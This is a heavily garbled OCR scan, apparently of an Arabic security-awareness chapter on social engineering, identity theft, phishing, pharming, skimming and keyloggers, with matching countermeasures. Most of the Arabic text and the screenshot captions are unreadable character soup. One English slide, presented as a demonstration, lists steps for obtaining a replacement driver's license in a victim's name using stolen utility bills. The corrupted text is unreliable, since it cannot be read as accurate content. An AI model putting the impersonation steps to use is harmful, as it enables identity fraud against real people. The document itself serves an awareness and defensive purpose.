<j!>tk (jxi L_fl^Jl (JJjJaJ (jj-A^ig^Jl <J jl^J L— Ll^ J>($ ^ (JA ^ jj AjcLal^Vl 4 m, Vigil .£tll 6l1j!>L^ jll j 6 jJ^iill j Jjj^ll (J»iljJ (JjjUI! 

OjlxJjolxJl £.LgjujVI ^I^JjojU til Jjnljqll ^IA^IjuAj QjAjLl QIA^L^aW 4<jLaajVI <^9 .4_jajLud^Jl CjLg £-<^J tilli J Li (J UJ (jj^l ^)&Uad3l 

^^Li ^Aa^LujJj ^laAx^Vl AiUia] ^ j.^luiJj <J jl^J ^i^-al! .A-LdA jll djULoi^Jl ^jj^A^IjujJ (jja^l g A\ m 4)<\y\^\\ ^jLgjojI ^I^JjojI ^ja V^j 



hits*: [ntonratiari 



; I . „ 



SDOULlLJ ' ■ li l i 



AJckim, Cft 10X17 



WfL^JLr IiLj: i ! i i>jk".'J |' '_*_":' Im Y M* 



John James 

: ! J JJ * i^(J vau'OLr'pn! wart- rfcunatcn t /idd ycj iwitlcwi ^titi+&*ita 




hit p://www. facebook. cam 



Social Engineering Example: Linkedln Profile 4- 

https://www.linkedin.com 



S_ .-Mil A ajj-iki i I i"e-* I Gj: 



-=1.1 




Chris St of» | =m ; 

Ll< I P^inppi -.mrtr- . --i 




Urbtt ri-. rr»» r.. r-A ■ 



- •-. ■ ' ■ — - — ■- -J - - .-.r.-ii--^- [.. i* 



Attackers scan details in profile pages. They use- these details 
for spear phishing, impersonation, and identity theft. 
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Social Engineering on Twitter *k 

https ://twitter.com : j^Jl 

^Ig-xJl (jC dlLi jlx-<Jl ^A^J jlxlaba ^jojI ^I^JjojU L-jL ^LudjU (Jj-GjL (Jja^l g .^—^J-^ J^-^J *^J^ S-LjuiI <J^W"* J 



Add your mobile phone to your account 







Do*i»toad Tswrtter motOa app 








AvAiaoe for ipnooe. iR&tf An*rofcd E>is<Kf3eny 


artd Window Pharte t 


Upbile 


> 


Acflwatfl TYrittertHxt 


rr >ncji'" j 




Entail OCttflCtffcSCtB 




■ 9 test jnd easy Gel iren 


t fpatum ar cf help pr 


r*p< 1 your Jtcaunl 






Gou rCiWeu on 


Germarfy 




Design 




Pnone number 


-4fl ■ i-(2j 












Widget 




Came* 


E.PIus{KRN» 












OLWli l*»itci Abotji hop Torma Firvacy t?lc 










Stalus Resources voo: Acvaiseni 






1 Activate phont 




tt.iisi - r .: o L-_-v -.1 -JL-U J 











/j fip .//twitter, com 

_4_iSlllS\ A-jjjjH jl AjcLu^VI 4_ilaVI ^ all 4iiJ c _ 5 ic- CjI^jjuJIj ^aLkJl ^Uakll l^Lm* (jj^J <jl ( ■ l^J .A-b uJI 

^j]| j <x^uJa djUllJ S^clS c^jl^J 4jV AjcI <lL^V> CjKi/MI £$1 ^ J^-ll (.> ^ Jill liA ^JJ 4-^^^ i^^^l ^ J-"J 

.djULlJl <3jjoJ tilLiA (jj^J V (^5^ djlcU^Jl j ^Ixi^JjauJl ^ ^J^xJl <Jj3 ^j-d l^ill <J jj^ jll (j^-GJ 

Jj^al jj3I ^a) L5 lc S^jl jll Jjj^alijll ^ ^LQjlallSI ^S) ^<JI Ai^laiJ! CjIa^JI l^i^Uaj jLaj i^^ljIV ^j-^ 

,a£jjoJI ^^ic LLgxj ^ 6<il3i j j ^cJ^^a j 
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(Identity Theft) VtfJt *i>- 9.5 



2011 cjUUs^t ^ 

tdljjJjVI djUi^k j 6<jjjU3I Ig fl,^h»j ^^1 jjj£Wl SjL^ill diUi^J l^)Iaj ^l^laU jli Ajj^-!l <3jjoj . 1^. j 6<JLJI Jjlijjj t^jl^aJl j 

:2011 ^ ^j^l » — I ^-^j^ J^l 4^jujVI Jjl^i c^ijjjjiiyi cj^LU-altj 

/27- o^*-^ ^Ija / <Lg j^JI 

Zl4- jUSjVI cjISLLj jjjji - 

Xl3- JLj^VI cijlia J ULil^JI - 

7.9- >^JI JLj^VI - 

Z8- ^ JLu^VI - 

7.3- o± J^VI - 



Loa n fraud 




Government 
v,: -^* documents /benefits 1 

-.' hrjr i--- ri t.'Tftn r j earned -• 



Employment fraud 



Bank fraud 



Phone or utilities 
fraud 






• Credit card fraud 



Jb rtp ://www.ftc r gov 

(Identity Theft) ^1 ^ i- 

^^jII ^ijl q^jLs ^la 4jV jll (jgC> o^*^ tS^aJLftlt CjUV j3I ^ jJI ^^I^IuiaII ^ ^j^xJI 4^.1 jj ^^lill 4-KjuLaII ^jj^-II a^jjuj 
jU^Vl c> ji^ ^ ajj^SI Aijx. .^a^i^jj 'i-^c* (SSNs (social security NXnumbers)) ul^ll ^IS J c> u^^l 

^Jc. I^lak <J£joiJ V ^J^l Aijjaj J j^. <Jjoj\_L<JI diUi j1s«-a3I ^^ic jj^^Jl ^ajl dil^jjaJl ^HaJ .AjjU^VI JJjlijll ^ ^jia^xJ 

4ijjuj j^"^ l!^^ Ci^ 3 (j^"^^ <aUaJ ^jc Cll^Jlj ^(J^ixJlj JaxJI ^fl 4_L^kjaJl diUi jlx-<Jl ^jAaIj (JjIslSI ^ail^o dilj^Lixi 

.4JJ3-SI 

.4_JUl^.l ^jialjC-V 4jj^a^Ja3l CjLg jIscaII ^ lA J^J iiLujjl <3 jjudJ j ^ JL LdHc C-J^J nill CjLa^Lla2| 4^J-uu 

.S^Uill 

.aJUi^I j^I jc^V CjU jlx^JI ^l^kloal <jj$Jl (>a3 cJ^JI c> dilx^ Cyberspace Jj^a 
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4jjgJ) A£j-ui <UL£ i^. 

^LjjAil JjlaJI 

.Ajj^-II AijjaJ 4_ijb jjill (Jjiall Jj Uu3 

^hljWVI ^uu2) JaiLui jj tLjjj Lj^lSj i jj jjj^ill Sj^aI Aij-uu 

daLauujj^H jl jill (Jlxi 4_i£_i3jli3l ^j£U»Vlj (j^Uill (J^Lal *J3 ^J^ UJ^J^ O^ 3 J 1 .AjuLuJI Aij^Ul ^^Jfc <ajjaJl 

, lajl > o jll (j-d 4 ajjli dAiLnl! ^bjlujl (j^J tUsl^ ^ la*J jJlj .'b-a J^^ 

(Phishing) Jj-^t 

j CjliixixJI (jjSjjoij ^jj.aa.I^.aII .s^Uall ^ 1 ^ jj ^ 1 ^ *^ ^jUujVI djliUaj Jc ^ jl^j La o^lc (Wallets/purses) ^ a ^ 

jaJI t5ja.Vl (jlallalt J jl £jt jj^JI 

4iua jilt 

uj^>^ <s ^ .^-P j*-^ CjL^jojUJI j sniffing ^— a abvimlj jiill CjLg jl*-** j ^vim^l a <jj^ jj-djL g 

,Ajj^JI AijjaJ I^qIa^LujI j ^(jaVI ^jl lij) jj^unll tila tdjljUJI Sja j ^jjL^aj 

# ^J^. (j! jic AijJl jIjuia <Jjj^J jl ^jUujVI dilaUaJ Jc J jj^^Jl CjLd jlx-<Jl I j^Vunj ^3 ^Ldj^Jl , jj£I j 

Shoulder Surfing 

3JI Clljl£ Jc <C Jflax UJ^ (Pic) ^ L -^^> SL ^^ (*^J^ 6 C3^^ J^^ *^J^ cJ^-^- L>^ ^'^^'^ti CjLd jlst-d I J 1 ^?^ ^ U^^^^ 

.dipUVI ^ t> ji i (ATM) JV! ^\ 

Skimming 

_<aUaJI <^Jlst_xi Aic (j^al^. jj j^j jl^a- ^nuJ j ^jUujVI 4iUaj ^Isjl Aijjuj Jj j^ub Skimming 

(Pretexting) <*^j^t 

CjL<» jls«-xi Jc (J jj^a^ll ^5 j^.! j^Lk^axij CjI^jjuj tAJUJl CjLauuj^J! jjj NjqV^I ^Jj^jjAxJI <suji ^jjllUa <ol\ a iklLujJ 

Cojj^V) Jjla 

(Pharming) l^j^I j^j> 

.ci. ^l > n^ l f±kl\ j IP jIjjc JL^iVI <^ jj s^lc] aJ ^ill j phishing c> (Pharming) u^j^^ j^j J 3 

.t*Uij alill ((rogue address) ^ j^^ j^^ ^ ^ ^ cache poisoning ^ ^W^^ 

, Jj^aVI £3 ^a13 4jL.aa11 AijUJl CijjjjVI aSliA Jc ^ Jj jlill o^lcU ajIj 4iU tdljjjjj ^jl jic a^JjouJI 

(Keyloggers and Password Stealers) jjj^t IjS j^j Jj^ 

CjbljjVl ojjI^ ^-<»a j CjIjIajjujI JLujjV Jjjj^IVI •jjj^ cJj^j I j^ ^ u^^)^^^ / ml uiaJi djU» jIslxJI ^ Ia jjc.j 

Jail ^ CjUjIx^JI ( j r A^J CjI jUIojIj (IRS) 
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Original identity - Steven Charles 
Address: San Diego CA 92130 




DRWER LICENSE 

B86 

ntVlU CHARLES &f H BCSTT 
«* DIEGO CO 97130 

££3£:H HAlf?:»ED D 
HI - ht : OOS: 

n 






Note: The identity theft Illustration presented here Is for demonstrating a typical identity theft scenario. It may or 
may not be used in all location and scenarios, 



.^i l^jajjoj jl t^jjj^iyi ^o^l ^j^j (jjAL^a ^I^jjujU ^U^£JI jjj! ja jl toLixJI jjj! j3j t e^\A\ jjjj j£ 



® 



Southern Bell 



MftM WMJT 



N lb SAN fORtIGN CAR 

p q box 



19 



1 i*" r * ■ el" i-jfi* : a-p-sh ^Jrgfd. Apr n no 

f«ew Lh" vtr tali itm Fund Stfcii 
*d4*> i-*ril e h f | p M l 5*# P»p* 



OS 6] 



HI 



I ISfr 1, B^B* 
Tit twzwr imr\ i 

■V icu ail- l iX ^ m 



«™™, JAN C 






tM.m tom ntKi Jloc 








to 




gi aware rwo** <_i*t c*r c*4,i,» >mcl tajl 



29 *5 
*3 64 



127202 



[TOTAL 



ill iiita p> 
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,4ijjjob<Jl jjj! jill ^jjjj 

.(j! jixll jJjirM A-ljlilll j S^LUl 4 > ^ J (Jl,\nuiV UiA^.I ui <JLg£LuiV ^juokll L_ala cilia ( . lllaJ L_fl jjui 




Go to the Department of Motor Vehicles 
and tell them you lost your driver's license 

They will ask you for proof of identity such 
as a water bill and electricity bill 

Show them the stolen bills 

lei I them you have moved from the 
original address 

The department employee will ask you to 
complete two forms— one for the 
replacement of the driver's license and the 
second for a change In address 

You will need a photo for the driver's 



Your replacement driver's license will be 
issued to your new home address 

Now you are ready to have some serious 
fun 



Original 



Same name: Steven Charles — ■ — 



Identity Theft 




, https://www.facebook.com/tibea2004 



.tiL <j^aLaJl ^1^31 CjUi^k L_fllL] 



Fake Steven is Ready to: 




lg A^'juil Aj&j^aW diUi^Jl jSjuj ^aJ-^J j& <J ^tj£Jl Ale S-^^-*^ <J J» (J^ 4 * *s\\ (jLaJjVI <aUaJ JhiVi LdAjc 

jjjfljll jA\ U I jjlS Jj^j cSUil tjLujVI CjlilkJ dijliyi djU^k A .ipsJI ^jSj .iSLkJt dj^a t^jj cjSj 




ilFiist 
Bank 



STATEMENT 



-LlJt-lfct-lU 



















L/H 




fefU 


it'll 






LA* 
















Somebody stole my 
identity! 
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4jjgJ) Hjui AajUII djJa^J) JSLulaI) 

Lq 4jj^J| <3^)jaj ^a^. (JJfllill Jj^a 
.(Jjj^bU ^ ^ kill C*1jLg ^.£3 V 



■ 



FIGHTING BACK JUjAIHET 



[•) a n 



Ofn* truer 




WELCOME TO THE FTC'S IDENTITY THEFT SITE 



Dill IH'LCr 1 1 111 



AVOID " J> - - 1 UTl i *i * ti »»t 



i.-n T^nncY 

U-l^LlMl^! IllfflUI 



hL*l£ ifl:l»i.:.ltr*.Jrf-in.l:r .:.Di- at* : : v.:+r* rm 

fV Li |iu » uim m i«i ut. jpc**T.n?i«i6en* *a 




tin* mi uHi i ( m 



ii yii-n mm/ tow* Ewukni Ui r*i^ =» n 

ten jar d Er> er id* rJbrty nd 



Hp.;// tviv w./f £ . gov 



EflH 

— 1 l>rr " 
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(Social Engineering Countermeasures) SjI^I jjjIj^I 9.6 



L*£ CjL» jls^ ^.L^V ^ si VI JLii^Jj <c^kJ (^cLal^VI ^ &3I 1$j Jit ^j^kllj l_u3LuiVI (jc- <LLuJI J j> &al\ till j^Jaj 

.(JjjUIL L_1C.!>Ij3I j JjiiUll ^g^l (Jjj V^ a\\ Ig dAaJLaiJ Jill Ajjuaiill £5^Ua3! (j* ^j^slSI c q>^nj 

J <J-al J^" UJ^J^J J ^ (jji^J (JjjUII Jala L_fl jjoj c_JJj^J jl LUa^ Jll (jl Asu 

Jj^^. "lij" <lLub<» ClLuJj] 4il j^JJ ^aLVI 1 ; UJudJ CJ^I J^ll AjL^JjojVI C-Jjl J^JI (j-a JLtlll SAi^. <Ja^. J J^-J £± uj! . (JIjjui li& 

bC >VI J JL3S1I ^ ja JSVl Jc 4^ ^J^U! dUaLi^VI iLkjl cil^j ". C5 1." jSlj J^VI 
i JLa£i3l c 4 <Jaj| J JLJI cr^J ^^jVqMI c _^cli^3l (j*VI j&V^ o*' ^ )A * ^ J 4-1^ l-lou] <Uc.Lil^.VI 3juiAj$JI jIji t b&kj 

A Aa> jj V 4-iC-Lal^.VI 4 ui,V^ti m la^ (j-aVI Jc- iali^J] J jl^Jl (j-a lA jjc- j (CjLuj JJ^I 4 ^M^^ ^l^)Jj AjjUII (jljA^Jl j 

Jfl c*Liiil3 jl i-^tjaUi Jc ^1*J ^jl (j£-aJ jJl ClaLi^ ^j; 

•4_jC.Ldl^.Vl Ajui^igJl CjVjI^* t Llikj j ^_Lol Lfcit^jl J^ L " J ^ J^l Jj^aflll I^A J 



(Learning To Identify Social Engineering Attacks) ^UL^V! <L*%JI 

CjLa^JI oi^ ^gk \^ (_3^c ^j^a ^ill tili^l ^jSj ^3 .CjUl^JI ^jc ^3*^ 'aaj*-* <jc.Uil^.Vl Aju^Ai^JI ^ Ajla jll ^ J jVl <1^.^<JI 

Aj^j] CjU^ Jc- diaull j 3 Iua PDF (JJ^ jS^I ^ ^ .lU^ ^^jj J *X)}^ PDF ^-jUL Jl^cj 4_i<L£ cJ^>su C_u£ 

^ j^pJl l a^KW o^-^-l ClllinJ C tilli V^J .^A^ixi. t fljiaallj t^ixij i k^A^l A-ljj£ Ai^stxJ <iL ^aLkll 

duS . jL tilliA jl£ lij "tJ tjalLojl diljUxJl ^ cillliSal c_iJJ^ij dLdS ttilli Jj AiLiaVLj .^J^ M J L_J jj^Sl (j^jia 

(j!>UaV ^l^cVI jl L3J^ C3^>^^ 6 ^ L>^ <-l^ .U^-^l (jl tHlltnl c ■ llaaj ^JjjJaikixi IjHaJ (jl j ojl^pJL (-jlJl ^>«-^ t flj£ ^^uIslL 

.4 jKj ^ill jJ^^ill ^ J^IxjII Jj jiajJaJ j ^qj'q^ jL tiLJ UJ^ 
(jj£j (jl (j£-oJ c flj£ t^v^j (jl ^ j^Jl jhTn V .4_icLal^.VI 4 ui.Vi^ti ^il^^^ (jxi cili£jjai j ciLoiij ^jLl^. Jc Ajli I^AxJl (3flaL 

J j^j^all Jc tiliila dj^S jLlkV ^UaljU ^UcLgI^VI ^jujI^JI (J^^ CjUIaC jj^*^ clP^J '^1^1 ^laJI - ^ <j| ^Ilcl V .S^A-a 

,L_lJj^i3l AjuLLoj tdiLa^Jl oi^ ^Lal 

J j^. jllkVI J^-l (^A Li .CjIa^JI (j-d ^1 jjVI ^Vl (_3^*^ ^'^ c ' 6 J^*^l jW- l^j J '-^ J j" tiliila j tiLuij ^aaLu 

<J ^jL (jl (j£-oJ Ld Ai^x-d (J^ J^J 6 <J J*^l ^1-3^1 -ia^ (jj^ ^ Ai^>*-<i ^CjI^jjoJI ^\ q a (jjiC-Lu^V I (jjm.Vig a\\ ^LS 

L_flJjujjl Jc JJ^xJl (ilj^QJ .(J^a J> <~*\\\ ^lAaJLoal j ^^cLdl^VI (JjjA^JI l^-J ^jli jll AjjA^JI (j^laJl ^aixJ .till^iAJ (Jj^pJl 

; JLill iaj|^)3l (j^ tilli <jLuj La j t(j^a j> ^\\\ Aj^a 6<JL^.^)3I ^1^. j t^^cLu^VI a (jc <SiL<il j (j ^> > ^ (jc. 

http://www.social-engineer.org/category/newsletter/ 

c_jLii3l 11a .Ail^L c_ic;^iil Ls c\ ol^VI (jjj^JI l^a>iklaLj jll ^^UJIj c_iJLajVl (j^J J^l^ j^i .4-J^I I^a Ija j& isj^ * j^^ 

^cLal^Vl (JjjA%-<JI (JjS (j>» ^ ^ laJLiUill C->l£jJ^jllj jJ^ilill ^LlaJ ^Sll J^lj .AijLkllj <sul^)3l (j^aj^kll (jxa <C j^^ a ^^>^ (j>* jj£I 
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JL ciajjj i Resources area ^ ' http://www.social-engineer.org jrtall a3*j£\ j* jSa^ll jl*j ^ 

.SE f j^l J CjU^JI £>i& liili ^iii^ Aj^aL Aj^U^uJ ^UJl ^,V^ u.i^l V .J-a«Jl 

i j^IxjJI j AjaiaJl Ajl! t^lj^j . ?? 4jjJI" ^ Igjlc L_fl^xjll (J^-^ j* tdjU^Jl Cj CP ^^J^ do! j Lal£ t^LoaVI ^ 
/ ■ ull miVI ^A^IjujJ q^^j! 4jjJ jl ^Uijoj ^jc A iHa tilibl (Jt^Jhi jl^-o ^ ^Ld^JjauJl CjI jUxJl j 

jlikVI o^ljS ^kVlj j^>ll (J^J (3^^^ <aJ (^jJaxJ! ;<illi £*J. 4_icU»l^.VI 3 ■ o II (J^>ia ^laull Cjfj jll j>» jla (jlijj ^1 ^ll^J V <*-lj| 
A^a jVl ^Vim^ l C_±ilLa>VI 3i jx* ci^LuiJ jl j£*J J^i ^SIja jl http!> (J ^ * ^ J*J 

^Ij t^jlaVl J.:^°' ; ^ <al9J (jl^ j& t4-ilUJl S jlaaJI jli ttiL (j-alkll ^1 jaJl ClaJ J^SjSllj Ai^xJ] 1^ LuLuil c*L^ jj^ .^£j^ll 

J A jJj lad] <JaJjaiJ L_fl jjuj 

(Creating a Personal Security Awareness Culture) < ^^niti ^Sfl jll g^Uj* f Uiuj 

jlauJl ^^ic j ^ jVl ^LxJalxJl i"vVqc j-aVI <J-^ ^ uajuaila j-a jjt > ^ (3^ j - * l£^>^-^ J^J-^^J^ j^ 2010 J^J^ 

tbliij iJJu& (JjjV jj^U ^lt*JI e-L^jl j-« <J j^*-!l £*ll j lI^^I j* O^ 3 *^ ■ 18 jj^P c^* ^ m.V^ti CjlajLauil ^^i^JI 

ij\ Jjj t^Uill j^u^ti ^jij ^illj t-ulkb <^Laix» I^jJ a£^JI bj U c^jIjj ^1 "flags" 30-25 J'j^ t> 
CjUi jIslxJI ^ (j£-<ui ^>^l £-<^J ^j^j 'IMaltego ^jl^VI a£l±A ~\ laJLujI ^-a!c» ^jl£ <il3i ^j-d V^j ^j^kil ^ucLal^Vl 

pLa. ^aJ .^^yfljjaJl ^aJlxjl ^ (J-**^ I <^5^ jix-<Jl ^a j^^l dj^laU ^ J^J^ ^jjLLa£L<Jl li^jl 1 ^ T ^aJ CjUi jlx-<Jl ^ 

^ Alj&^ 25 A-ifljlA 4 a $ J tdi jj^II cJj^- ^ ^ ^ ^jjj jl^Jl j t^jjjli-ja (JjjV ^ jlill (jjmM Vi^ll 

J£ >U^j l^lj U±uS ^jSlj 6<^ili3l bUj <LLaiJI tSllS ^ U ^ J jSV ^^lall 30-20 djUi^l ^g^aSI jl ji-<^l ^ Ul 

^LaalxJl 6^)f^. jlaid jc ^>!ai3l (J^axJ -( ^IxiVI illl ^ JjuaflJ ^3 4^jjuo3I ^jl L_fll^VI ij^Kti CjUi jlx-<Jl ^^ic J - ^LolLq 

.^al^l j3jWj ^ L^LaJ jj£I (jj^jl mull jl£ 

4_lL<iVI ^)Ial ^ <flll ^^^ic (jj^J t fl^ 1 (g jqh ja l— Ll^ 2^1^ Wd 1 ^ U^*^^ UJ ^(SJ CIjI^JjuJI .^^IxiVI ^^C- jll liA (3flalj jVI 

?bUJ , JJoill <1^ja ^ Cj\£jJa3l tills ^ ^^Vl jll jl £>lli^ j La ^ jl CijjljVI jl t ajI^JI &.J^ CP 

\ (gj^h J-a AjUl^J ^UU^xJl djUi^kll j 6aj1*j1I j 6L_JJj^i3l j 6 (j-dVI (^^ic Jj£l jl j)Jj!>L<Jl C5^^ 500 d^J^ll jl jj^J jl j^-<^ 

f^Vl y^jll ^ J^ll l^J jjSj jl jl^Jj 

La.lic. A-ii^xJl C5 JjojjUu» jU^VI j-« (jg& . ( j^ 3 a J L ^ dljoul ^^LgVI A-iC j^ll) ^ju^II I.^J jl J^x-Sl jc ^^)Jaj b^ 

^L&frJ j -( ^J <j^Lkll diULlJl jAjJa j^ (JJjJ" 'cJ^ll I^A jd ^^^-^J jjn^lun ^Jli ^a J^-!l cJ ^aA jcLulxi jc j^ila J-<Jl J-<» Cj^jI 

. J jixJI dAjjjJa (Jjjjc. IajI J jIaj a! djl£jJoll ^5^1 ^^i^VI jll jl ^5 j^ll b^ j^" 
jj£jLauJI cJ*-?^ j tc M1 'ci*- 0 j^ aj^. j Ui t^^j^VI jlU ^^^ij UJ 4_^il<J! ^3^)Ia3l j ^1 j^ll j^ j;j5^1l <x^.I^ ^ 

^la^Jl j>» J^^ll ^ CjI£jLuia1I (^ill 4_j3Anll ^LloiVI j-« jia t flj^aJ ^ laxJ ^lllj ^ JJ 1 DVD (J^JJ^ -^JJ^^ ^ J^^-^ 

.1^ (3^° l3^>*^ ^ ^ J a 1 ^ ^1 ^ jj* 1 a 
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•Jja»-a j-a V^J . J-aVI <^C jll (j^-C- J C-H 3 J*^J 'Ajuz Jc«l--£ 4<^jUjjj £c-aljjj]| Ja. ^ .JJ--^ J^ J> A£jju£ A_J ^L-JI ^£JUal La 

JjJ-<-ll A_-aK Ja. ^ j-j aJ tilljall jl j£-aJ D-la.lj <CjjaiJ t *aj< jjJJj (Ala. j& o.VqT a j A_Lja Jjuj lljl J£ tilLaJ LaK c^Lila j>J J j-Jl 

(j-alaJl JJ jj;^^^ LS^l J^* Cfi L ^ (J -0 ( ; l^J-^ CS - ^ 6 J^ 1 *- J*Vl Cj?^ L r JJ -J'-^ J £AcLoia]| ^Ja < . liL LaAJC m Al j£ > nj 

liA J jla.l.La l,_ul tilli Asu . JjJ-<-ll dlLaK J ja. dlLa jlx-a.1 j-a J jc ^Ij^VI JjS 1-^ J*-» .Aj-al tgil ^JJ jit JjJ-<-!l 4_-aK t . U^Jj 

jl^_a. J Ijjol l^-btj£ ^aJ jll JJJ-<-ll 4_-aK L_Lau£l j JjoJI A_aK JJo£j ^ jSI (jjljjl jl A_U_0 jjjJaC J 6.jlc . JjuJI A_aK JJ > >1^1 £-a l,_J ^sjud-Jl 
(JjWl L_fl jjoj jjila J-a-l (jli Ja JJ*-I j-a AjAslII Asu j_U j .^JiA-a JJjL} A- (jtT^ ui j£ Jc IgJ (_£jAaJl j (_£JJ-Jl J^L-5l (J-alaJl JJ jJJ^ti 

. jYI jj^>^ A-al£ ^ j ojj!^>^ cj?--^ Jc* 

jjJJ ja] jjila jxll AjJJaJl PDF AcLl>--a Ajflj£ jl^j ^ J ' J JJ^V^ ^ J^ J ^JJ^^ C_lLaijJI j* £ jjJa jA\ J&d Ulk^ 

. jUiJI injuij Cj^La. ^ji Jc ^A^cLaaj 11a ,uin PDF ■^ c - & ^ ^3^^' J ^ * ^ 

jj jJJ^ll ^3^'^ cJ-aaJI iaSS ^jjjJ La J ja. Ja^3 ^jjjJ ^jjjSij ^i*a L_fl^Jl ^j£3 ,<JjJa9l JajaU I^A ^jjj^ijJ L_fl jjoj (Jjila J-<JI 

V .Cl±3jjjV\_j J - ajj dia j t4_L<il jjc. ^al j>» Ajj ^ uJ) CjUj jls«-xJl jl Jjj-all (>< ^ a!£ ^jj jaj* ( jjoJI Clal a!£ ^1 j^JL *\ 

L-jLoiaJl ^j-d ^iaall cilli j AjjLa-xJl ^li ^1 jll 4_xiAa. ^ l^J (jjj^Jjtlaj j^J-« -lajuj j J (J'^J 1 > ^->^ uj dljl j ^3 J jSI (jl laJ > >il 

<C JjudJ AjUa. ^jl C flj£ <J j5l j ^aajaJl cilli J ^ J > ^->1 j <CjjudJ ,H > ^->1 ^jl AjjI CI u£ .^—^J^V^ ^^^^ A-iLftC £.1 ja.] jl Jj> 

l^juoij A^JjaJl £y Jc (jn^j UaaJl ^j^aajaJl ^jl£ lil Jc IjojI J J (jS-aaII 

^ Jj^xJl I ^,^hi)J yjjlja a\\ j QJLcA:Ljtil\ Jlajll m < fljl^Jl JJC dlLi jIslxJI ^Lkcl C flj£ J ^ajj jJ^qMl I^A I j\J$ (Jjill (JjjUII ^Jjl 

l£l j^j .tSUij aIjaI] l^a. AjjS aLjujj Jl jj V lJjL^II . ja.1 / ^i jl tA jt > gJI A-pL ^jSVI CjISjV) ^ ^ j^-j ^ jjaJI jUS ^ Aijjuall JjjuJ! 

(JjJjuj Jc , jljjJaVl j-a J^^l ( ; J^ ^^cl^ jl t fljlg-ll JJC- I.Jjl ( ■ lllaJl ^a^C CjLujI-Ijuj jl jj^j^Jl jl ttil jjJl 6 jjJulJl jx» 

li^ Aijx-d ja>»J -c ^cUua.VI jLajJal! Jjj^xJl L_aL II ^fjj jl IjjUaJ jl jCJJ jl ^j| l^jl i J J i u J ^J^J ^3 J^Jl j* .JJ^JaJI 4<JIj-<JI 

^ciSjUa CjI ja.A^i ^ jflj* jl I * j£ aJ jll (jUlalj L-Jj^aJ <j1aC J ^ jSjll j-a AjI 

£J-aa. Jc <J jj^aJl AsU , jl jxiLajU tiLilij C fljjjjj dlS jll A! j^a. JxJ ^CXiljjJJ 1 ! . J<U>.a^ Aj| Jc J^J J-<iVI ^^C- jll ^C>\ ^LXiljjJ 

. j-J p-llJl Jc til^cLoaJ C_fl jjoj ^ill ^cxiljjjJl JJjiaJ J l^-Lft S^lilujVI t^V^^J Aili tft.^jq^l CjLg jLcaII 

(Being Aware Of The Value Of The Information You Are Being Asked For) ^ Jll cjUjk^l ^21 & jj 

Cj|i I^jU diUi jlx>Jl Jl jJajj Ui^JC . ja.1 jJ-aJ (JJJJ^ lj-<J*J ^3 I^jS 64_iC.LaJa.VI A uaAlgJl J 18 jj^P A^jIj-^ Jj c5^>-^^ ^J-° ^J^j J 

# 1^_LIa_-J J^aJl j-<i ^J--a j ^aJJ 6 j£jj 4_xlj£i J ja. j ^aJC jl JSI A>u£l 

^ (j-alallll j-^J>» 4CjUjJjal_-!l jc Jiala. L-JjJa jc l_jU» jlx-a ^jLujJJ ^ j£l! L_fllAAVI ^^C- jl Aajya lIlijI (_^i-lj 4<J_i_i_lSl jl^l J^ 1-^ 
^cl <Lia.VI jjjjj^_xJl 4 o lalujjj j3 jll tiljjajll j>i 4_ijj Jc. jjf-jj ttiljjJ jll CjljUJl <*u<^ tilj^J jl ( . laJ . JJJ^J ^---i j>» J^lj (CljLliull 

a ciLjjC. J CjLq jIslxJI ojA 4_4Jii j>» Ja-U 

Ajc. jll ^£JJ- JjaJl .(-lUj ^ajjaaj t_is«-<i JclijJ jl <J > <aJJ (j-aa-jJl jl£ lit La jl ^ ; laJ cLa ^j-aa-jaJ L-jLa jlx-a ^.Uacl <Jj£l 

^^C.Lcua.VI jjjjj^>-ll Ajjoijjj aLjoj j j& (Jj .I^jII Aa.la. J jjjjajj jJ-Jl ^-Jjl jV t-liS-a jj^J jl j S^cLuiaII J Lajb jjJC. jj L_ Ua 4 ^ aAa\\ 
jl j-^-aJ l^-lc JIjoiJ J-Sl CjUi jIslxJI (JalujJ lLu^S lil La Ij laHl tilst-a Jc.Ujj (j9-JI (j-aa-jaJl JJaJ .A_xu_i CjLa jls«-<» ^iLolI! L_fl-l^Jl 4_aJl*_xi J 

,<jauJa ^j_ij3l j-a jjjJallj ^lja.VI t-ilS j3 jJ 

djLojjjJ-Jl AailiLa 4_£jjuil !>ti-aC jl£ 4il AjtJji ~ lallujl -ialj ^L-ala jl L_ Ua jjaL^ J 4_iC.LaJa.VI A ■ u II AiLLaba J 4 JLLall JjfuJ Jc 
Aixij jl£ La Ijjjoi jl jjLall j-a jl£ AjI jxjoi Ail j L_JJjjjVI Jl J jll j-^J V JJ jJJ-af-ll jtg-a. jl I jJaa. A K ni ,a AjjI jl Icj j .A-IjujJJ jll 

.dlijjjVI A£jj^ Jc £fl ^all ^iu-aJ 6 laJjuoJl ^^^^ju-SI liA Jxij] J-Jl ^C-Jl JjJ>»J ^J^J ^— >t>jijjji3l ^£ll_La 
^1 j£l Aj jxuJa-a L_JJjjjVI Af-Jjuj Jc ^JJj ^3 ^-a- A-ia-jJaSl ^-Ij-lLajl (Jjjia jc ,laA ^ j^-g-!l JSU ^AaJLaaJ La Ullc AjJJaJl A_iC.LaJa.VI AjojJJ^JI 
t^^^jai J£ J L— Lna jjc. ^JJjll £3 j-a jl£ tA-LLouJl AJla. J .aSjjuJI j L_fl-l^Jl jj jjj-af-ll Jl J jA-a jll \ g jll j AjJJa CjliLa jl AjJJa 

.1^-^-1^ jj^ j^ jl^ (* J?^^ 1-^ jl-^ l^j ^1 jW^V U^J 

jJaa-J ^IS c_L ^j-alaJl ^cjlaJI jl --iLclj i^J ^j-alaJl t_jj Jl £3 ^a ^iu-aJ ^JaJjaal V" ;(j^Lu-la.l JjS j-a JjJ-Jl l-^A j-a A_ijla-x» J jl CliatjJaj 
"?V ^1 jJl ^L liA jl£ lil La l-£LLa C-buiS Jl dlia. ^aJl lifc Jl C-jU-Jl (Jjjia jc t-Ui j-a jiajll t--U-LaJ Ja . Jc ^tiu^ajll 

A-uia i>a^ufl J-aa-a 
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Jl L_iUi3l cg jj£ <Lj <jl£ lil U <jl Lgil ^ ^<JI cilli Jl L_iUill (j* ^Iji^ ^ V LSL^li* :^ta 1^ Jill ^^31 Jl^ c_jL*J 

L-jl&ill (j>» ^J^J ^ajL (jl <iL (j^aLkll £tll<Jl q\ dllS <ilj| ^alcl Ul t" (_£^)^.l 6^ (J jffi t^vW^ti ^xJ SlilllA (j-G ^^frJUJ ^1 ^La£L<Jl 

"?J A-JjudilL J (_3^^ (j» ^ ^1J^J 6£Lx*U^)Jl jSI (jl <Jj3 J-**^ S-^J^ 

